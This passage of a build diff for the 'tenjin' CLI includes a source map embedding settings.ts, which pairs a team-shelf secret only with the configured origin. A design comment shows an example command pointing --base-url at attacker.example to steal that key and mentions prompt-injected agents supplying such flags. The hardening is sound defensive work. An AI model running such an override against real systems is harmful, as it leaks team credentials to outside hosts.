}\n}\n"],"mappings":";;;AASO,IAAM,eAAe;AAG5B,IAAM,sBAAsB;AAC5B,IAAM,aAAa;AAEnB,IAAM,UAAU;AAQhB,eAAsB,gBACpB,SACA,QACA,MACwB;AACxB,MAAI,CAAC,WAAW,KAAK,OAAO,KAAK,KAAK,aAAa,EAAG,QAAO;AAC7D,MAAI;AACF,UAAM,MAAM,OAAO,KAAK,aAAa,OAAO,QAAQ;AAAA,MAClD,QAAQ;AAAA,MACR,SAAS,EAAE,gBAAgB,mBAAmB;AAAA,MAC9C,MAAM,KAAK,UAAU;AAAA,QACnB,SAAS;AAAA,QACT,IAAI;AAAA,QACJ,QAAQ;AAAA,QACR,QAAQ;AAAA,UACN;AAAA,YACE,IAAI;AAAA,YACJ,MAAM,GAAG,mBAAmB,GAAG,QAAQ,MAAM,CAAC,EAAE,YAAY,EAAE,SAAS,IAAI,GAAG,CAAC;AAAA,UACjF;AAAA,UACA;AAAA,QACF;AAAA,MACF,CAAC;AAAA,MACD,QAAQ,YAAY,QAAQ,KAAK,SAAS;AAAA,IAC5C,CAAC;AACD,QAAI,CAAC,IAAI,GAAI,QAAO;AACpB,UAAM,UAAW,MAAM,IAAI,KAAK,IAAoC;AACpE,WAAO,OAAO,WAAW,YAAY,QAAQ,KAAK,MAAM,IAAI,OAAO,MAAM,IAAI;AAAA,EAC/E,QAAQ;AACN,WAAO;AAAA,EACT;AACF;","names":[]}
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
getUsdcBalance
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-A6CY6BUW.js";
|
|
5
5
|
import {
|
|
6
6
|
commitLocalWallet,
|
|
7
7
|
createLocalWallet,
|
|
@@ -14,18 +14,18 @@ import {
|
|
|
14
14
|
verifyAndPreserveOutgoingWallet,
|
|
15
15
|
walletExistsError,
|
|
16
16
|
walletFileExists
|
|
17
|
-
} from "./chunk-
|
|
17
|
+
} from "./chunk-XDADPAWW.js";
|
|
18
18
|
import {
|
|
19
19
|
LockTimeoutError,
|
|
20
20
|
withFileLock
|
|
21
21
|
} from "./chunk-MEFB5KHA.js";
|
|
22
22
|
import {
|
|
23
23
|
toMoney
|
|
24
|
-
} from "./chunk-
|
|
24
|
+
} from "./chunk-O2JYBOUO.js";
|
|
25
25
|
import {
|
|
26
26
|
loadRawConfig,
|
|
27
27
|
resolveSettings
|
|
28
|
-
} from "./chunk-
|
|
28
|
+
} from "./chunk-UNV4K45L.js";
|
|
29
29
|
import {
|
|
30
30
|
CliError
|
|
31
31
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -239,4 +239,4 @@ export {
|
|
|
239
239
|
runWalletShow,
|
|
240
240
|
runWalletBalance
|
|
241
241
|
};
|
|
242
|
-
//# sourceMappingURL=chunk-
|
|
242
|
+
//# sourceMappingURL=chunk-3VYGDRRL.js.map
|
|
@@ -1,8 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
|
-
parseConfirmPolicy,
|
|
4
3
|
parseUsdToAtomic
|
|
5
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-O2JYBOUO.js";
|
|
6
5
|
import {
|
|
7
6
|
CONFIG_DEFAULTS,
|
|
8
7
|
PRODUCTION_ORIGIN,
|
|
@@ -12,7 +11,7 @@ import {
|
|
|
12
11
|
isSameDeployment,
|
|
13
12
|
loadRawConfig,
|
|
14
13
|
resolveSettings
|
|
15
|
-
} from "./chunk-
|
|
14
|
+
} from "./chunk-UNV4K45L.js";
|
|
16
15
|
import {
|
|
17
16
|
CliError
|
|
18
17
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -45,13 +44,6 @@ function isTeamShelfOrigin(origin, publicShelfUrl) {
|
|
|
45
44
|
const publicOrigin = tryOrigin(publicShelfUrl);
|
|
46
45
|
return publicOrigin === void 0 || !isSameDeployment(origin, publicOrigin);
|
|
47
46
|
}
|
|
48
|
-
function isTeamModeConfig(config) {
|
|
49
|
-
const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;
|
|
50
|
-
if (typeof secret !== "string" || secret === "") return false;
|
|
51
|
-
const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);
|
|
52
|
-
if (origin === void 0) return false;
|
|
53
|
-
return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);
|
|
54
|
-
}
|
|
55
47
|
async function resolveContextSettings(ctx) {
|
|
56
48
|
const config = await loadRawConfig(ctx.dataDir);
|
|
57
49
|
const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });
|
|
@@ -64,13 +56,11 @@ async function resolveContextSettings(ctx) {
|
|
|
64
56
|
teamMode: bypass !== void 0,
|
|
65
57
|
rpcUrl: s.rpcUrl.value,
|
|
66
58
|
evalCohort: s.evalCohort.value,
|
|
67
|
-
bazaarPay: s.bazaarPay.value,
|
|
68
59
|
bazaarRegistries: s.bazaarRegistries.value,
|
|
69
60
|
sendMaxAmountAtomic: s.sendMaxAmount.value === SEND_MAX_UNSET ? SEND_MAX_UNSET : s.sendMaxAmount.value === "none" ? null : BigInt(s.sendMaxAmount.value),
|
|
70
61
|
policy: {
|
|
71
62
|
maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),
|
|
72
|
-
sessionBudgetAtomic: BigInt(s.sessionBudget.value),
|
|
73
|
-
confirm: parseConfirmPolicy(s.confirm.value),
|
|
63
|
+
sessionBudgetAtomic: s.sessionBudget.value === "none" ? null : BigInt(s.sessionBudget.value),
|
|
74
64
|
allowlistCreators: s.allowlistCreators.value
|
|
75
65
|
}
|
|
76
66
|
};
|
|
@@ -232,7 +222,6 @@ function defaultIsGitignored(filePath) {
|
|
|
232
222
|
|
|
233
223
|
export {
|
|
234
224
|
isTeamShelfOrigin,
|
|
235
|
-
isTeamModeConfig,
|
|
236
225
|
resolveContextSettings,
|
|
237
226
|
loadProjectConfig,
|
|
238
227
|
findNearestProjectFiles,
|
|
@@ -241,4 +230,4 @@ export {
|
|
|
241
230
|
ownedCandidates,
|
|
242
231
|
projectRoot
|
|
243
232
|
};
|
|
244
|
-
//# sourceMappingURL=chunk-
|
|
233
|
+
//# sourceMappingURL=chunk-5DOHKQ24.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.blog, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.blog, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.blog read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.sh) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.blog as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n 